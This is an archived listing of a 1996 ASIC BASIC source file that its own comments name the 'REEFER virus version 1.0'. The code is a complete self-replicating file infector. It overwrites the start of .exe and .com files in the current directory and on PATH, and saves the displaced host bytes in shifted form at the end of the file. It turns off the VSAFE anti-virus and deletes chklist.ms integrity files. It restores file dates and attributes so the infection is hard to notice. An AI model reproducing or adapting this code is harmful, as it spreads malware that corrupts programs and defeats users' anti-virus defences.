home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CASIOCOL.ZIP / WEEDV10.ZIP / WEED.ASI next >
Encoding:
Text File  |  1996-10-09  |  6.4 KB  |  352 lines

  1. dim t1(3275)
  2. dim t2(3275)
  3. a$="WEED - v1.0"
  4. gosub bye_vsafe:
  5. vsafebak=cx
  6. gosub chklist:
  7. yourparm$=command$
  8. yourparm$=ltrim$(yourparm$)
  9. yourparm$=rtrim$(yourparm$)
  10. N = LEN(YOURPARM$)
  11. A$ = CHR$(N)
  12. A$ = A$ + YOURPARM$
  13. B$ = CHR$(13)
  14. A$ = A$ + B$
  15. pass$=a$
  16. x=0
  17. rem REEFER virus version 1.0
  18. rem t1 array holds us, t2 array holds original virus length of host,
  19. rem encrypted until needed for extraction of course :-)
  20. rem This virus has the ability to infect by overwriting and still
  21. rem allow the host to run normally. In fact, the host will have
  22. rem no idea that it has been infected!
  23. rem Variables used:
  24.  
  25. rem Before we can begin, we need to load an image of ourselves.
  26. rem this saves on drive needs later!
  27. gosub find_my_name:
  28. filename$=programname$
  29. gosub get_fdt:
  30. oldtime=newtime
  31. olddate=newdate
  32. open"i",1,programname$
  33. for x=1 to 3263
  34. input #1,a$ BYTE
  35. a=asc(a$)
  36. t1(x)=a
  37. next x
  38. close 1
  39. virupath$=""
  40. proc$="*.exe"
  41. gosub start_virus:
  42. proc$="*.com"
  43. gosub start_virus:
  44.         for n=0 to 100
  45.           call sub "path", n, virupath$
  46.           i=LEN(virupath$)
  47.           if i=0 then done:
  48.           b$=right$(virupath$,1)
  49.         if b$<>"\" then
  50.         virupath$=virupath$+"\"
  51.         endif
  52.         out1$="*.exe"
  53.         out2$="*.com"
  54.         proc$=virupath$+out1$
  55.         gosub start_virus:
  56.         proc$=virupath$+out2$
  57.         gosub start_virus:
  58.         next n
  59.  
  60. rem That little code snippit above ensures that we can copy!
  61. rem the next array is to hold our little friend. You'll see :-)
  62.  
  63. done:
  64. rem Here is where we say Bye :-)
  65. rem and transfer control to our gracious host! :-)
  66. a&=filelen(programname$)
  67. b&=a&-3263&
  68. b&=abs(b&)
  69. gosub get_attr:
  70. fileattr=cx
  71. newattr=0
  72. gosub set_attr:
  73. gosub chklist:
  74. open"r",1,programname$
  75. a&=filepos(1,b&)
  76. for x=1 to 3263
  77. input #1,a$ BYTE
  78. a=asc(a$)
  79. a=a-192
  80. t2(x)=a
  81. next x
  82. a&=filepos(1,0)
  83. for x=1 to 3263
  84. a=t2(x)
  85. a$=chr$(a)
  86. if a$="" then
  87. print #1,a$
  88. else
  89. print #1,a$ NONULL
  90. endif
  91. next x
  92. a&=filepos(1,b&)
  93. print #1,"" NONULL
  94. CLOSE 1
  95. newdate=olddate
  96. newtime=oldtime
  97. gosub set_fdt:
  98. newattr=fileattr
  99. gosub set_attr:
  100. rem now, we need to run our new host :-) we can re-infect it afterwards
  101. rem by making a simple call to 'Lets_infect:' and passing the host
  102. rem filename.
  103.                IF pass$="
  104. " then
  105.                CALL programname$,""
  106.                else
  107.                call programname$,pass$
  108.                endif
  109. gosub bye_vsafe:
  110. fileattr=cx
  111. filename$=programname$
  112. newattr=0
  113. gosub set_attr:
  114. open"i",1,filename$
  115. for x=1 to 3263
  116. input #1,a$ BYTE
  117. a=asc(a$)
  118. a=a+192
  119. t2(x)=a
  120. next x
  121. close 1
  122. gosub chklist:
  123. open"r",1,filename$
  124. for x=1 to 3263
  125. a=t1(x)
  126. a$=chr$(a)
  127. if a$="" then
  128. print #1,a$
  129. else
  130. print #1,a$ NONULL
  131. endif
  132. next x
  133. a=filepos(1,eof)
  134. for x=1 to 3263
  135. a=t2(x)
  136. a$=chr$(a)
  137. if a$="" then
  138. print #1,a$
  139. else
  140. print #1,a$ NONULL
  141. endif
  142. next x
  143. close 1
  144. newtime=oldtime
  145. newdate=olddate
  146. gosub set_fdt:
  147. newattr=fileattr
  148. gosub set_attr:
  149. gosub chklist:
  150. gosub res_vsafe:
  151. end
  152. rem We have completed replication. all stop!
  153.  
  154.             start_virus:
  155. kewl=0
  156. ATTRIB=16
  157.                FILENAME$=FIND FIRST (proc$,attrib)
  158. gosub test_infection:
  159. if infected=0 then
  160. gosub lets_infect:
  161. endif
  162.  
  163.           while kewl<4
  164. FILENAME$=FIND CONTINUE
  165. gosub test_infection:
  166. if infected=0 then
  167. gosub lets_infect:
  168. endif
  169. IF ERROR>0 THEN
  170. return
  171. endif
  172.           wend
  173.  
  174. Lets_infect:
  175. gosub get_fdt:
  176. gosub get_attr:
  177. fileattr=cx
  178. newattr=0
  179. gosub set_attr:
  180. open"i",1,filename$
  181. for x=1 to 3263
  182. input #1,a$ BYTE
  183. a=asc(a$)
  184. a=a+192
  185. t2(x)=a
  186. next x
  187. close 1
  188. kill"chklist.ms"
  189. open"r",1,filename$
  190. for x=1 to 3263
  191. a=t1(x)
  192. a$=chr$(a)
  193. if a$="" then
  194. print #1,a$
  195. else
  196. print #1,a$ NONULL
  197. endif
  198. next x
  199. a=filepos(1,eof)
  200. for x=1 to 3263
  201. a=t2(x)
  202. a$=chr$(a)
  203. if a$="" then
  204. print #1,a$
  205. else
  206. print #1,a$ NONULL
  207. endif
  208. next x
  209. close 1
  210. gosub set_fdt:
  211. newattr=fileattr
  212. gosub set_attr:
  213. return
  214.  
  215. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  216. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  217.  
  218. find_my_name:
  219.    AX = &HEX6200
  220.    INT86(&HEX21,AX,BX,NA,NA,NA,NA,NA,NA,NA)
  221.    PSPSegment = BX
  222.  
  223. rem Find environment address from PSP
  224.  
  225.    DEFSEG = PSPSegment
  226.    a=peek(&hex2d)
  227.    b=peek(&hex2c)
  228.    EnvSegment = a * 256
  229.    EnvSegment = Envsegment + b
  230.  
  231. rem Find the filename
  232.  
  233.    DEFSEG = EnvSegment
  234.    EOT = 1
  235.    rem Set end of environment table flag
  236.    Offset = 0
  237.  
  238.    WHILE EOT=1
  239.     Byte = PEEK(Offset)
  240.     rem Get table character
  241.     IF Byte = 0 THEN
  242.     rem End of environment string?
  243.        Offset = Offset + 1
  244.        Byte = PEEK(Offset)
  245.        IF Byte = 0 THEN
  246.        rem End of environment?
  247.          Offset = Offset + 3
  248.          rem Yes - Skip over nulls & tbl info
  249.          C = PEEK(Offset)
  250.          WHILE C <> 0
  251.          rem Assemble filename string from individual characters
  252.            a$=chr$(c)
  253.            FileN$ = FileN$ + a$
  254.            Offset = Offset + 1
  255.            C = PEEK(Offset)
  256.          WEND
  257.          EOT = 0
  258.          rem Set flag to exit while/wend loop
  259.        ENDIF
  260.     ELSE
  261.     rem No-Read more environment string
  262.        Offset = Offset + 1
  263.     ENDIF
  264.    WEND
  265.    ProgramName$ = FileN$
  266.    DEFSEG=-1
  267. return
  268.  
  269. get_attr:
  270. AX = &HEX4300
  271. DX = VARPTR(Filename$)
  272. CX = NewAttr
  273. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  274. return
  275.  
  276. set_attr:
  277. AX = &HEX4301
  278. DX = VARPTR(Filename$)
  279. CX = NewAttr
  280. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  281. return
  282.  
  283. bye_vsafe:
  284. ax=&hexfa02
  285. dx=&hex5945
  286. bx=0
  287. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  288. return
  289.  
  290. res_vsafe:
  291. ax=&hexfa02
  292. dx=&hex5945
  293. bx=vsafebak
  294. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  295. return
  296.  
  297. get_fdt:
  298. AX=&HEX3D01
  299. DX=varptr(filename$)
  300. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  301. FILE_HANDLE=AX
  302. AX=&HEX5700
  303. BX=FILE_HANDLE
  304. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  305. NEWDATE=CX
  306. NEWTIME=DX
  307. RETURN
  308.  
  309. set_fdt:
  310. AX=&HEX3D01
  311. DX=varptr(filename$)
  312. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  313. FILE_HANDLE=AX
  314. AX=&HEX5701
  315. BX=FILE_HANDLE
  316. CX=NEWDATE
  317. DX=NEWTIME
  318. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  319. RETURN
  320.  
  321. test_infection:
  322. filename$=virupath$+filename$
  323. var$=""
  324. gosub get_attr:
  325. fileattr=newattr
  326. newattr=0
  327. gosub set_attr:
  328. open"r",1,filename$
  329. r=filepos(1,28)
  330. for x=1 to 4
  331. input #1,a$ BYTE
  332. var$=var$+a$
  333. next x
  334. close 1
  335. newattr=fileattr
  336. gosub set_attr:
  337. if var$="┼▀≥≈" then
  338. infected=1
  339. else
  340. infected=0
  341. endif
  342. return
  343.  
  344. chklist:
  345. temp1$=filename$
  346. filename$="chklist.ms"
  347. newattr=0
  348. gosub set_attr:
  349. kill filename$
  350. filename$=temp1$
  351. return
  352.  
  353.